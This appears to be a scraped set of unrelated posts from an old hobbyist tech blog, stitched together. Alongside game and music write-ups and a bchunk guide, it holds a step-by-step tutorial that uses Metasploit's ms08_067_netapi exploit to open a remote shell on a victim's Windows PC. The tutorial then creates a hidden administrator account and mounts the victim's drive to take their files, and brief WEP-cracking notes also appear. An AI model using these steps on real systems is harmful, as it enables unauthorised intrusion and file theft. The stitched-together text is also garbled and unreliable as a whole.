1. Control Panel-> network and sharing center
2. Network adapters
3. Disable the wireless adapter
4. Restart router and pc (do not enable again the wireless network connection! – if you need wlan to obtain internet, you’re fucked!)
5. launch MW2 and have phan
6. donate to this blog =) (please )

hope that worked for you!!! xDXDX kdmakfndf;a

You can find our site at http://www.t3ch4you.net
Thank You!

FAQ:
Q: On which Windows can the hack be done?
A: – Windows 2000 SP4
- Windows XP SP1/SP2
- Windows XP Pro x64
- Windows Server 2003 SP1
- Windows Server 2003 x64

Q: From/to what os are you attacking?
A: We are attacking from Debian Linux to Windows XP SP2.

Main Part:

- We download nmap (nmap.org) so that we can scan the remote pc.
- On the terminal we write: nmap -sS -O <target ip>
- If you see that ports 139 TCP and 445 TCP are open then everything is exactly as we want it to be.
- Now we download Metasploit (metasploit.org) and we open it via the Terminal.
- Now that Metasploit is running we start the attack.
- We write at the terminal “show exploits” and we get a list of the avaliable exploits.
- We choose the exploit “ms08_067_netapi” by writing “use windows/smb/ms08_067_netapi”
- Now we set RHOST to our victims ip: “set RHOST <target ip>”
- And RPORT to 445: “set RPORT 445″
- Now we write “set SMBPIPE SRVSVC” and hit ENTER and then “set TARGET 0″ and hit ENTER again.
- OK! Let’s set the Payload: “set PAYLOAD windows/meterpreter/bind_tcp”
- IT’S TIME TO HACK THE COMPUTER!!!! Write “exploit” and hit ENTER.
- If everything is ok you should see the following message: “[*] Meterpeter session 1 opened (xxx.xxx.xxx.xxx:xxxx -> xxx.xxx.xxx.xxx:xxxx)
- Meterpeter is running. We are inside the target pc!
- Let’s open the target’s CMD: “execute -f cmd.exe -c -H -i”
- If it says “X:\WINDOWS\System32″ then the mission is accomplished.
- Now lets create our own admin account.
- Write: “net user n0f4t3 mypass /add”. You should see a confirmation message saying “The command completed successfully.”
- Now lets make the account an admin: “net localgroup administrators n0f4t3 /add”.
- You should see again the confirmation message saying: “The command completed successfully.”
- Then type “exit” to exit CMD.
- OMG!! We made it!!! But how can we steal his files????
- We boot from Windows……….
- We go to “Start>Run”, we type “cmd” and we hit ENTER.
- Then we write “net use X: \\<target ip>\C mypass /user:n0f4t3″ and hit ENTER.
- If that doesn’t work type “net use X: \\<target ip>\C: mypass /user:n0f4t3″ and hit ENTER
- Now go to “My Computer” and you should see a new Drive called X:. Open it and enjoy the victim’s files.

That’s all Folks!!!

Credits:

Microsoft for this great exploit!!
Metasploit and NMap.
Me (N0F@T3) for writing this tut.
MinSteRexS for posting an update!

Here is a video of Windows 3.11 to the PSP

Windows 95

Windows 98

All videos made by me!

Nowadays the most common game in making Machinima is Half-Life 2. (and games that use the same source engine like Portal Team fortress 2 and Garry’s Mod, Counter-Strike: Source)

Some good machinima makers are Litfuse Films and many others of course.. For all Mahinimas got to http://www.machinima.com

One of my favorites Machinimas from Civil-Protection:

And one from Lit Fuse Films:

Soon I will make some tutorials on how to make your own professional machinimas with Half-life 2.

Flight Simulator X with/without DirectX 10:

Download DX10 WinXP:

http://rapidshare.com/files/115626001/DX10.WXP.RC2.F3.rar

http://rapidshare.com/files/108308822/IPview.rar

Let’s Begin:

1. Download Restorator 2007 Trial (Link at the end of the post)
2. Install Restorator 2007
3. Got to X:\WINDOWS\System32\
4. Find logonui.exe and copy it
5. Go to X:\WINDOWS\Resources\ and create a folder named “Logon”
6. Paste to X:\WINDOWS\Resources\Logon\ the file logonui.exe
7. Rename logonui.exe to MyLogon.exe
8. Open Restorator 2007 and then open (with it) MyLogon.exe
9. At the “Tree” go to Bitmap
10. Extract any Image you want
11. Modify it
12. Drag and drop it into the equal at Restorator 2007
13. Save MyLogon.exe
14. Go to Start>Run
15. Type “regedit” and hit ENTER
16. Navigate to HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
17. Find a file called UIHost
18. Double click it and type: X:\WINDOWS\Resources\Logon\MyLogon.exe
19. Hit ENTER and close the window
20. Press the WINKEY+L
21. You’re done mate

Links:

• Restorator 2007 Trial: http://www.bome.com/Restorator/download.html

Tutorial Written By: N0F@T3

To get binchunker, type the following command :

sudo apt-get install bchunk

now to use is it , either:

(1) You have the .cue file ,then you just type the following command :

bchunk filename.bin filename.cue filename

(2)Or, If you don’t have the .cue file, .cue file usually contains the track layout information, and it only contains the following lines :

FILE ”BinFileName.bin” BINARY
TRACK 01 MODE1/2352
INDEX 01 00:00:00

Where MODE1 , is the track mode when it is a computer cd, and MODE2 if it is a PlayStation cd.
you can write a one file of shell script to do all of this foe you , just make a new file :

gedit biniso &

Paste the following lines,(you can always use the ampersand at the end of your command to keep the acess to your command line , you don’t need to open a new shell. It is very useful when you run programs from the terminal like “sudo nautilus”, or “mathematica” ):

echo FILE ”$1.bin” BINARY >> $1.cue
echo TRACK 01 MODE1/2352 >> $1.cue
echo INDEX 01 00:00:00 >> $1.cue
bchunk $1.bin $1.cue $1_
rm $1.cue

Where the first three lines are to write the .cue file, the fourth line is the bchunk conversion command ,and the last line is to remove the .cue file.
Save and close , make it executable:

sudo chmod a+x biniso

Now all what you need to do is to run the following command:
./biniso binfilename

You can also place your biniso file in the /usr/local/bin, in the following way :

sudo mv biniso /usr/local/bin

where if you do so you can access it from any path , but the run command is a little different :

biniso binfilename

By now , most probably you have your iso image, you can either burn it , or mount it.

To mount it, first make a directory for the iso image to be mounted to :

sudo mkdir /media/iso

Then you mount the image :
sudo mount -t iso9660 isofilename /media/iso -o loop

To unmount it :

sudo umount /media/iso


Notice that the unmount command is umount with no n.

Source: Linux Lab

Image link:

http://img245.imageshack.us/img245/9231/xtremeuy4.png 

Starting in the mid-1990s, the term emo began to refer to the indie scene that followed the influences of Fugazi, which itself was an offshoot of the first wave of emo. Bands including Sunny Day Real Estate and Texas Is the Reason had a more indie rock style of emo, more melodic and less chaotic. The so-called “indie emo” scene survived until the late 1990s, as many of the bands either disbanded or shifted to mainstream styles. As the remaining indie emo bands entered the mainstream, newer bands began to emulate the mainstream style. As a result, the term “emo” became a vaguely defined identifier rather than a specific genre of music.

History

First wave (1985-1994)

In 1985 in Washington, D.C., Ian MacKaye and Guy Picciotto, veterans of the DC hardcore music scene, decided to shift away from what they saw as the constraints of the basic style of hardcore and the escalating violence within the scene. They took their music in a more personal direction with a far greater sense of experimentation, bringing forth MacKaye’s Embrace and Picciotto’s Rites of Spring. The style of music developed by Embrace and Rites of Spring soon became its own sound. (Hüsker Dü‘s 1984 album Zen Arcade is often cited as a major influence for the new sound.) As a result of the renewed spirit of experimentation and musical innovation that developed the new scene, the summer of 1985 soon came to be known in the scene as “Revolution Summer”.^[1]

Where the term emo actually originated is uncertain, but members of Rites of Spring mentioned in a 1985 interview in Flipside Magazine that some of their fans had started using the term to describe their music. By the early 90s, it was not uncommon for the early DC scene to be referred to as emo-core, though it’s unclear when the term shifted.

Within a short time, the D.C. emo sound began to influence other bands such as Moss Icon, Nation of Ulysses, Dag Nasty, Soulside, Shudder to Think, Fire Party, Marginal Man, and Gray Matter, many of which were released on MacKaye’s Dischord Records. The original wave of DC emo finally ended in late 1994 with the collapse of Hoover.

As the D.C. scene expanded, other scenes began to develop with a similar sound and DIY ethic. In San Diego in the early 1990s, Gravity Records released a number of records in the hardcore emo style. Bands of the period included Heroin, Indian Summer, Angel Hair, Antioch Arrow, Universal Order of Armageddon, Swing Kids, and Mohinder. Also in California, Ebullition Records released records by bands of the same vein, such as Still Life and Portraits of Past, as well as more traditional hardcore punk bands, all having various social and political themes in common.

At the same time, in the New York/New Jersey area, bands such as Native Nod, Merel, 1.6 Band, Policy of 3, Rye Coalition, Iconoclast and Quicksand^[2] were feeling the same impulse. Many of these bands were involved with the ABC No Rio club scene in New York, itself a response to the violence and stagnation in the scene and with the bands that played at CBGBs, the only other small venue for hardcore in New York at the time. Much of this wave of emo, particularly the San Diego scene, began to shift towards a more chaotic and aggressive form of emo, nicknamed screamo.

By and large, the more hardcore style of emo began to fade as many of the early era groups disbanded. However, aspects of the sound remained in bands such as Four Hundred Years and Yaphet Kotto. Also, a handful of modern bands continue to reflect emo’s hardcore origins, including Circle Takes the Square, Hot Cross, City of Caterpillar, Funeral Diner, and A Day in Black and White.

Following the disbanding of Embrace in 1986, MacKaye established the influential group Fugazi, and was soon joined by Picciotto. While Fugazi itself is not typically categorized as emo, the band’s music is cited as an influence by popular second-wave bands such as Sunny Day Real Estate,^[3] Braid,^[4] and Jimmy Eat World.^[5]

Early influence

In California – particularly in the Bay Area – bands such as Jawbreaker and Samiam began to incorporate influences from the “D.C. sound” into a poppier framework; The former’s music was described by Andy Greenwald as “a sonic shot-gun marriage between the bristly heft of hardcore, the song-writing sensibility of Cali pop-punk, and the tortured artistry of D.C. emo”.^[6] Other bands soon reflected the same sense of rough melody, including Still Life and Long Island’s Garden Variety.

Also in the early 90s, bands like Lifetime reacted in their own way to the demise of youth crew styled straight-edge hardcore and desired to seek out a new direction. While their music was often classified as emo, it was also considered to be melodic hardcore. In response to the more metal direction their hardcore peers were taking, Lifetime initially decided to slow down and soften their music, adding more personal lyrics. The band later added a blend of speed, aggression, and melody that defined their sound. Lifetime’s sound, lyrics, and style were a virtual blueprint for later bands, including Saves the Day, Taking Back Sunday, and The Movielife.

Second wave (1994–2000)

As Fugazi and the Dischord Records scene became more and more popular in the indie underground of the early 1990s, new bands began to spring up. Combining Fugazi with the post-punk influences of Mission of Burma and Hüsker Dü, a new genre of emo emerged.

Perhaps the key moment was the release of the album Diary by Sunny Day Real Estate in 1994. Given Sub Pop‘s then-recent success with Nirvana and Soundgarden, the label was able to bring much wider attention to the release than the typical indie release, including major advertisements in Rolling Stone. The heavier label support allowed the band to secure performances on TV shows, including The Jon Stewart Show. As a result, the album received widespread national attention.

As more and more people learned about the band, particularly via the fledgling World Wide Web, the band was given the tag emo. Even where Fugazi had not been considered emo, the new generation of fans shifted the tag from the earlier hardcore style to this more indie rock style of emo. It was not uncommon for Sunny Day and its peers to be labeled with the full “emo-core”. However, when pressed to explain “emo”, many fans split the genre into two brands: the “hardcore emo” practiced in the early days and the newer “indie emo”.

In the years that followed, several major regions of “indie emo” emerged. The most significant appeared in the Midwest in the mid-90s. Many of the bands were influenced by the same sources, but with an even more tempered sound. This brand of emo was often referred to as “Midwestern emo” given the geographic location of the bands, with several of the best-known bands hailing from the areas around Chicago, Kansas City, Omaha and Milwaukee. The initial bands in this category included Boy’s Life and Cap’n Jazz. In ensuing years, bands such as The Promise Ring, Braid, Elliott, Cursive, and The Get Up Kids emerged from the same scene and gained national attention.

The area around Phoenix, Arizona became another major scene for emo. Inspired by Fugazi and Sunny Day Real Estate, former punk rockers Jimmy Eat World began stirring emo influences into their music, eventually releasing the album Static Prevails in 1996. The album was arguably the first emo record released by a major label, as the band had signed with Capitol Records in 1995.

Other bands that followed the “indie emo” model included Colorado’s Christie Front Drive, New York’s Texas Is the Reason and Rainer Maria, California’s Knapsack and Sense Field, Baltimore’s Cross My Heart, Austin’s Mineral, and Boston’s Piebald and Jejune.

As “indie emo” became more widespread, a number of acts who otherwise would not have been considered part of the “indie emo” scene began to be referred to as emo because of their similarity to the sound. The hallmark example was Weezer‘s 1996 album Pinkerton, which, years later, was considered one of the defining “emo” records of the 90s.^[7]

As the wide range of emo bands began to attract notoriety on a national scale, a number of indie labels attempted to document the scene. Many emo bands of the late 90s signed to indie labels including Jade Tree Records, Saddle Creek Records, and Big Wheel Recreation. In 1997, California’s Crank! Records released a compilation titled (Don’t Forget to) Breathe, which featured tracks by notable indie emo bands such as The Promise Ring, Christie Front Drive, Mineral, Knapsack, and Arizona’s Seven Storey Mountain. In 1998, Deep Elm Records released the first installment in a series of compilations called Emo Diaries, featuring tracks from Jimmy Eat World, Samiam, and Jejune. In 1999, famed 70s compilation label K-tel released an emo compilation titled Nowcore: The Punk Rock Evolution, which included tracks by Texas Is the Reason, Mineral, The Promise Ring, Knapsack, Braid and At the Drive-In among others.

With the late-90s emo scene being more national than regional, major labels began to turn their attention toward signing emo bands with the hopes of capitalizing on the genre’s popularity. Many bands resisted the lure, citing their loyalty to the independent mentality of the scene. Several bands cited what they saw as mistreatment of bands such as Jawbox and Jawbreaker while they were signed to majors as a reason to stay away. The conflict felt within many of the courted emo bands resulted in their break-ups, including Texas Is the Reason and Mineral.

By the end of the decade, the word emo cropped up in mainstream circles. In the summer of 1998, Teen People magazine ran an article declaring “emo” the newest “hip” style of music, with The Promise Ring a band worth watching. The independent nature of the emo scene recoiled at mainstream attention, and many emo bands shifted their sound in an attempt to isolate themselves from the genre. In the years that followed, Sunny Day Real Estate opted to shift to a more prog-rock direction, Jejune aimed for happy pop-rock, and The Get Up Kids and The Promise Ring released lite-rock albums.

While “indie emo” almost completely ceased to exist by the end of the decade, many bands still subscribe to the Fugazi / Hüsker Dü model, including Thursday, The Juliana Theory, and Sparta.

Third wave (2000-present)

At the end of the 1990s, the underground emo scene had almost entirely disappeared. However, the term emo was still being bandied about in mainstream media, almost always attached to the few remaining 90s emo acts, including Jimmy Eat World.

However, towards the end of the 1990s, Jimmy Eat World had begun to shift in a more mainstream direction. Where Jimmy Eat World had played emocore-style music early in their career, by the time of the release of their 2001 album Bleed American, the band had downplayed its emo influences, releasing more pop-oriented singles such as “The Middle” and “Sweetness“. As the public had become aware of the word emo and knew that Jimmy Eat World was associated with it, the band continued to be referred to as an “emo” band, despite their objections. Newer bands that sounded like Jimmy Eat World (and, in some cases, like the more melodic emo bands of the late 90s) were soon included in the genre.^[8]

2003 saw the success of Chris Carrabba, the former singer of emo band Further Seems Forever, and his project Dashboard Confessional. Despite musically being more aligned to the singer songwriter school, Carraba found himself part of the emerging “popular” emo scene. Carrabba’s music featured lyrics founded in deep diary-like outpourings of emotion. While certainly emotional, the new “emo” had a far greater appeal amongst adolescents than its earlier incarnations.^[9]

With Dashboard Confessional and Jimmy Eat World’s success, major labels began seeking out similar sounding bands. Just as many bands of the early-to-mid 1990s were unwillingly lumped under the umbrella of “grunge“, some record labels wanted to be able to market a new sound under the word emo.

At the same time, use of the term “emo” expanded beyond the musical genre, which added to the confusion surrounding the term. The word “emo” became associated with open displays of strong emotion. Common fashion styles and attitudes that were becoming idiomatic of fans of similar “emo” bands also began to be referred to as “emo”. As a result, bands that were loosely associated with “emo” trends or simply demonstrated emotion began to be referred to as emo.^[10]

In an even more expanded way than in the 90s, emo has come to encompass an extremely wide variety of bands, many of whom have very little in common. The term has become so broad that it has become nearly impossible to describe what exactly qualifies as “emo”.

The classification of bands as “emo” is often controversial. Fans of several of the listed bands have recoiled at the use of the “emo” tag, and have gone to great lengths to explain why they don’t qualify as “emo”. In many cases, the term has simply been attached to them because of musical similarities, a common fashion sense, or because of the band’s popularity within the “emo” scene, not because the band adheres to emo as a music genre.

As a result of the continuing shift of “emo” over the years, a serious schism has emerged between those who relate to particular eras of “emo”. Those who were closely attached to the hardcore origins recoil when another type of music is called “emo”. Many involved in the independent nature of both 80s and 90s emo are upset at the perceived hijacking of the word emo to sell a new generation of major label music. Regardless, popular culture appears to have embraced the terms of “emo” far beyond its original intentions.

In a strange twist, screamo, a sub-genre of the new emo, has found greater popularity in recent years through bands such as Thrice and Glassjaw.^[11] The term screamo, however, was used to describe an entirely different genre in the early 1990s, and the new screamo bands more resemble the emo of the early 1990s. Complicating matters further is that several small scenes devoted to original screamo still exist in the underground. However, the new use of “screamo” demonstrates how the shift in terms connected to “emo” has made the varying genres difficult to categorize.

The difficulty in defining “emo” as a genre may have started at the very beginning. In a 2003 interview by Mark Prindle,^[12] Guy Picciotto of Fugazi and Rites of Spring was asked how he felt about “being the creator of the emo genre”. He responded: “I don’t recognize that attribution. I’ve never recognized ‘emo’ as a genre of music. I always thought it was the most retarded term ever. I know there is this generic commonplace that every band that gets labeled with that term hates it. They feel scandalized by it. But honestly, I just thought that all the bands I played in were punk rock bands. The reason I think it’s so stupid is that – what, like the Bad Brains weren’t emotional? What – they were robots or something? It just doesn’t make any sense to me.”

Fashion and stereotype

Emo is also oftenly associated with a certain fashion. The term “emo” is sometimes stereotyped with tight jeans on males and females alike, long fringe (bangs) brushed to one side of the face or over one or both eyes, dyed black, straight hair, tight t-shirts (sometimes with short-sleves) which often bear the names of rock bands (or other designed shirts), studded belts, belt buckles, canvas sneakers or skate shoes or other black shoes (often old and beaten up) and thick, black horn-rimmed glasses.^[13][14][15] Emo fashion has changed with time. Early trends included straight, unparted hair (similar to that of Romulans and Vulcans in Star Trek), tightly fitting sweaters, button-down shirts, and work jackets.^{[citation needed]} This fashion has at times been characterized as a fad.^[16]In recent years the popular media has associated emo with a stereotype that includes being emotional, sensitive, shy, introverted, or angsty.^[17][18][19] It is also associated with depression, self-injury, and suicide.

Criticism

As certain fashion trends and attitudes began to be associated with “emo”, stereotypes emerged that created a specific target for criticism. In the early years of the “third wave”, the criticism was relatively light-hearted and self-effacing. In ensuing years, the derision increased dramatically. Male fans of emo found themselves hit with homosexual slurs, largely a reflection of the style of dress popular within the “emo scene” and the purported displays of emotion common in the scene. Complaints pointed to the histrionic manner in which the emotions were expressed.^[22]

In October of 2003, Punk Planet contributor Jessica Hopper leveled the charge that the “third wave” era of emo was sexist. Hopper argued that where bands such as Jawbox, Jawbreaker and Sunny Day Real Estate had characterized women in such a way that they were not “exclusively defined by their absence or lensed through romantic-specter”,^[23] contemporary bands approached relationship issues by “damning the girl on the other side … its woman-induced misery has gone from being descriptive to being prescriptive”. Regarding the position of women listening to emo, Hopper went on to note that the music had become “just another forum where women were locked in a stasis of outside observation, observing ourselves through the eyes of others”.

Critics of modern emo have argued that there is a tendency toward increasingly generic and homogenized style.^[24] Many popular bands have attempted to disassociate themselves with the “emo” tag; some have adopted the genre designation post-hardcore. Despite the criticism, the modern version of emo has maintained mainstream popularity. However, given the disfavor of the term “emo”, the future of the genre remains unclear.

In September 2006, emo music was criticised by Tom Meighan lead singer of rock band Kasabian, who complained about the depressing nature of the lyrics and its lack of positives.^[25]

Source: WikiPedia

Preparation

You’ll need:

• An AirPcap Tx adapter
• Cain and Abel

Note: It is possible to get this working by using the cheaper “Classic” AirPcap, in conjunction with the old 2.0 Beta Tx Drivers for AirPcap, to enable packet injection capability, but this is entirely unsupported, and is not guaranteed to work. YMMV.

Notes

• To begin ARP injections, AirPcap must capture at least 1 ARP request from a system on the target AP. You can usually force this by sending a Deauth to a connected client.
• Make sure you have over 250,000 IVs before attempting to crack the WEP key.
• In my tests, the old AirPcap (silver-grey) appears to perform significantly faster than the new AirPcap (dark-grey). I think it’s about 10x faster.

The Video

As practically everybody was more than disappointed with the ending of the revolutionary FPS Crysis, an answer to the cause of this abrupt finale was in order.

And the answer came from the director of Crytek Studios himself, Mister Cervat Yerli. In an interview with inCrysis.com, Yerli said “The game is designed as a trilogy, so you have two more installments to come and the ending is planned deliberately. But I cannot answer any more questions here please as we want to keep some surprises for you all.”

So we’re in for two more Crysis titles in the years to come, provided this first one sells when enough to encourage further development. And I personally have no doubt Crysis will do very well on the market, and we’ll get to see more of those metal aliens soon.

Unreal Tournament 3 is actually the fourth game in the Unreal Tournament series and the eighth Unreal game, but it has been numbered in terms of the engine it runs on. The original Unreal Tournament uses the original Unreal Engine, while UT2003 and UT2004 use the Unreal Engine 2, and 2004 incorporates all of the content from 2003; therefore they are considered as the same generation. UT3 is subsequently part of the third generation, because it runs on the Unreal Engine 3, and does not reuse any content.

Similar to the previous entries of the series, the game is primarily an online multiplayer title offering several game modes, including large-scale Warfare, Capture-the-Flag, and Deathmatch. It will also include an extensive offline single-player game with an in-depth story, advancing from the simple tournament ladder to such concepts as team members with their own individual personalities. The following game modes are included:

• Deathmatch
• Team Deathmatch
• Capture the flag
• Duel: A one versus one gametype. It uses a queueing system, the winner stays, and the loser goes back to the end of the queue. A typical match last five minutes with an unlimited amount of rounds.
• Warfare (formerly known as Conquest): An amalgamation of Onslaught and Assault. While basic game rules are equal to those of Onslaught, Warfare adds unlinked nodes which can always be captured (supplying the capturing team with vehicles and a spawnpoint) and countdown nodes (which, after being captured and defended for a certain period of time, create a vehicle or trigger an event helpful to the capturing team) as well as the orb, which can be used to instantly capture and defend nodes.
• Vehicle Capture the Flag: Capture the Flag, with vehicles as part of the map; this exists as a separate game type to Capture the Flag, above.

Modes not returning from the previous Unreal Tournament games include Invasion, Mutant, Onslaught, Bombing Run, Last Man Standing, Domination, Double Domination, and Assault; Assault was removed from the game during production.^[7] Due to the game’s customizable nature these game modes could be recreated by users of the game. Although the game designers claimed that the new Warfare mode would allow maps to be created that play like classic Assault or Onslaught, the reality is that only Onslaught maps can be created, as there is no simple way to implement the timed rounds and Attacker/Defender teams that were the major features of classic Assault.

Plot

The plot of the single player campaign revolves around Reaper and his crew who are hired as mercenaries by Malcolm. The campaign is divided into five chapters, with the first four consisting of various military tasks given by him. In the final chapter, Reaper and his group set out on a quest for vengeance against the Necris on their homeworld. During the first four chapters, there are multiple times when the player can choose between two different missions, while the last chapter is strictly linear. At the end of the campaign, after defeating the Necris leader, Reaper is surrounded by Necris troops and has his dying sister thrown in front of him. He realizes that Malcolm was the only one that knew about his quest of vengeance and thus must have betrayed him (as shown in an earlier cut scene). He vows to make Malcolm his next target and charges at the troops with rocket launcher in hand.

Weapons

The weapon arsenal in UT3 is largely similar to that of UT2004. Returning weapons include the AVRiL (which can also guide deployed spider mines with its secondary fire mode), Bio Rifle (shoots out blobs of bio-mass), Flak Cannon, Link Gun, Rocket Launcher (which has Unreal’s grenade), Shock Rifle, Sniper Rifle, and the Redeemer (The Target Painter was planned on being in the game but was evidently cut). The Enforcer (which can be dual-wielded) and the Impact Hammer based on the original UT, respectively replace the Assault Rifle and the Shield Gun from UT 2003 and 2004. The Enforcer fires either a single semi-automatic shot or three round bursts. The Impact Hammer features an EMP blast alternate fire to knock powerups (such as Beserk, UDamage) out of enemies. Returning from Unreal and Unreal Championship 2: The Liandri Conflict is the Tarydium Stinger, which replaces the Minigun. The Stinger’s primary fires hitscan-speed rounds; the secondary fire mode is stronger, has a slower rate of fire and isn’t hitscan, but can nail an opponent to a wall if it’s the killing blow.

Killing awards have been expanded from just three as seen in UT2004, to nearly all weapons. Accumulating fifteen kills with a particular weapon or fire mode prompts the announcer to award the player with a specific title. The awards are: JackHammer, Gun Slinger, Bio Hazard, Combo King, Shaft Master, Blue Streak, Flak Master, Rocket Scientist, Head Hunter and Big Game Hunter.

Teams

Unlike the previous Unreal Tournament games, the single player campaign does not follow a plot based around the Tournament Grand Championship, and therefore several of the teams within Unreal Tournament III are not Tournament competitors:

• Necris, appearing in several previous titles, the Necris are a species of nanotechnologically modified humans who were originally designed by the Phayder Corporation to function as ultra-high performance Black Ops forces for hire from Phayder. White-skinned, gothic-looking and with advanced nanotechnology-based equipment designed by Phayder, they are the antagonists of UT3. The Necris Championship team are known as “Black Legion,” though there is no indication that the Necris featured in this game are the same group.
• “The Corrupt“, though not specifically identified by this name within UT3, are a team of artificially intelligent cybernetic beings, maintained and financed by the mysterious Liandri Mining Corporation (originators of the Tournaments) whose domination of the robotics markets is unchallenged. They were originally lead by Xan Kriegor, the first Tournament Grand Champion until his defeat by Malcolm and his team Thundercrash. The Corrupt are now lead by newcomer Matrix, a Liandri executive who upgraded at the request of his superiors.
• Iron Guard, an ancient Tournament team of hardened mercenaries and ex-military, led by long-time Tourney veteran Lauren. Iron Guard have been hired by the Axon Corporation.
• Iron Skull, a reptillian species called the Krall, they served as expendable slave warriors in the Skaarj empire before its contact with the human empire under the New Earth Government. Many Krall prisoners of war entered the empire during the Human/Skaarj War, some entering the Tournaments. The Necris chose to make use of this resource, purchasing the Iron Skull clan and putting them into service as shock troops.
• Ronin, a team protected by red armour, with yellow glowing LEDs and henna tattoos; they were a clan of warriors whose duty was to defend the Twin Souls mining colony – after Twin Souls was destroyed by the Necris, they fled to Earth and now represent Izanagi Corporation, who sponsor them as mercenaries and Tournament combatants. They were given their name by the Izanagi.
• Thundercrash, although this team was not initially in the game itself, Malcolm now appears on the UT3 website, hinting that this team may return to the franchise.

Storyline

Source: EA Games – Crysis

Recently the game Half-Life: Source (HLS) was released. It’s a remake of the first Half-Life that was a huge sucess. Half-Life: Source makes use of new Source engine technologies for lighting and water in which it departs from the Gouraud shading used in the original Half-Life and water receives a translucent effect rather than being opaque and there is a simulation of water reflection, refraction, and diffraction. Due to the availability of high processing power PCs, Half-Life: Source features new high-resolution skyboxes, which simulate a longer draw distance. Although Source includes a physics engine, most objects in HL:S cannot be manipulated in the same way as they can in Half-Life 2 (particularly since there is no Gravity Gun). Also, players cannot lift items like in Half-Life 2. The loading and menu screens have been redesigned to be similar to the ones in Half-Life 2, with the backgrounds featuring several scenes from various portions of the game (namely, Anomalous Materials, Xen, Blast Pit, and Surface Tension).; the only difference between the HL:S menus and the Half-Life 2 menus is the absence of a “2″ in HL:S. In this way, Half-Life: Source is only referred to as such through Steam; for all intents and purposes, and throughout the game, it is only ever called Half-Life. Although now Half-Life Source uses the source engine some models are just same to the old ones and some others “semi – transformed” to the new Source engine.

Movement and weapons

The movement speed of the player is significantly faster than in Half-Life 2. The crossbow has been redesigned so it pins enemies to walls if they are close enough (as in Half-Life 2). However, where HL:S is a port, rather than being built from the ground up, the interactions between the environment and objects are imperfect. For example, if a corpse is pinned to a door and the door raises, the corpse remains in place, rather than being hoisted into the air. The inclusion of physics in HL:S has changed some puzzles, notably a point where Gordon has to jump a chasm using hanging boxes: in HL:S these boxes swing in response to being jumped on, whereas in Half-Life they remain stationary. There is a notable ‘ragdoll’ effect on the NPCs. If characters are killed they will fall over like a ‘ragdoll’ rather than the animated deaths as in the original version. Bullet abrasions also appear on the enemies.

Artficial Intelligence (AI)

Some aspects of Half-Life 2′s artificial intelligence can be seen in Half-Life: Source. One is that enemies are more alert to the presence of the player and take cover when injured. Another is that allies follow the player in a manner similar to that in Half-Life 2. When engaging enemies, instead of always remaining in place until either the target or they themselves died, allies will disengage when the player moves on. However, unlike in Half-Life 2, there are no group commands for ordering allies around. In some cases, the modified artificial intelligence adversely affects gameplay, such as interfering with some of the many scripted scenes from the original.
Criticisms

Half-Life: Source has been criticized for not including the detail or quality of the Source engine found in Half-Life 2. This is mainly due to the fact that it re-used textures and models from the original game, instead of designing new ones or even re-using the models from the High Definition Pack that was packaged with Half-Life: Blue Shift [1]. Many fans were disappointed by this and a third-party modification for Half-Life 2, Black Mesa, is being made to complete a full conversion of the original Half-Life game, but this time with Half-Life 2 graphic standards.

It should be noted there are some mods that improve the quality of the game and some mods also make the graphics similar to the Playstation 2 version.

Multiplayer

The official multiplayer part of Half-Life: Source is Half-Life Deathmatch: Source. It is available to owners of Half-Life: Source and to those who purchase Half-Life 2: Episode One via Steam. It is not a full graphical update, merely using the Half-Life art resources on the Source engine. Occasionally, ragdolls “breakdance” instead of behaving in a more realistic fashion.

The image below is showing the Blue Shift textures patch for Half-Life: Source

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